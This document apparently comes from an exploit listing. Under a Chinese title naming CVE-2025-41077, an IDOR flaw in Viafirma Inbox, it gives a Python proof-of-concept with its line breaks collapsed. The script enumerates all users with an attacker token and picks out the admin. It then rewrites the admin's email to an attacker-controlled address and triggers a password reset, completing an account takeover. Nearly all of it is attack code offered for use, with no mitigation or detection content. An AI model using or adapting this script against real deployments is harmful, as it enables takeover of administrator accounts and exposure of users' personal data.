CVE-2025-41077 Viafirma Inbox IDOR漏洞允许未授权用户枚举和账户接管

# CVE-2025-41077 PoC - Viafirma Inbox IDOR Vulnerability import requests import json TARGET_URL = "https://target-viafirma.com" ATTACKER_TOKEN = "attacker_auth_token_here" def enumerate_users(): """Enumerate all users via IDOR vulnerability""" headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}", "Content-Type": "application/json" } # Step 1: List all users by manipulating the user ID parameter user_list_url = f"{TARGET_URL}/api/users/list" response = requests.get(user_list_url, headers=headers) users = response.json() print(f"[+] Found {len(users)} users:") for user in users: print(f" - ID: {user['id']}, Email: {user['email']}, Role: {user['role']}") return users def modify_user_email(target_user_id, new_email): """Modify target user's email via IDOR""" headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}", "Content-Type": "application/json" } # Step 2: Modify target user's email by changing user_id parameter modify_url = f"{TARGET_URL}/api/users/{target_user_id}/update" payload = { "email": new_email, "user_id": target_user_id # IDOR: No proper ownership check } response = requests.post(modify_url, headers=headers, json=payload) if response.status_code == 200: print(f"[+] Successfully modified email for user {target_user_id} to {new_email}") return True else: print(f"[-] Failed to modify email: {response.text}") return False def reset_password_via_email(target_user_id, attacker_controlled_email): """Reset password using password recovery feature""" headers = { "Content-Type": "application/json" } # Step 3: Trigger password reset for the modified email reset_url = f"{TARGET_URL}/api/auth/password-reset" payload = { "email": attacker_controlled_email } response = requests.post(reset_url, headers=headers, json=payload) if response.status_code == 200: print(f"[+] Password reset email sent to attacker-controlled email") return True else: print(f"[-] Password reset failed: {response.text}") return False if __name__ == "__main__": # Example usage users = enumerate_users() if users: # Target admin user admin_user = next((u for u in users if u['role'] == 'admin'), None) if admin_user: attacker_email = "[email protected]" modify_user_email(admin_user['id'], attacker_email) reset_password_via_email(admin_user['id'], attacker_email)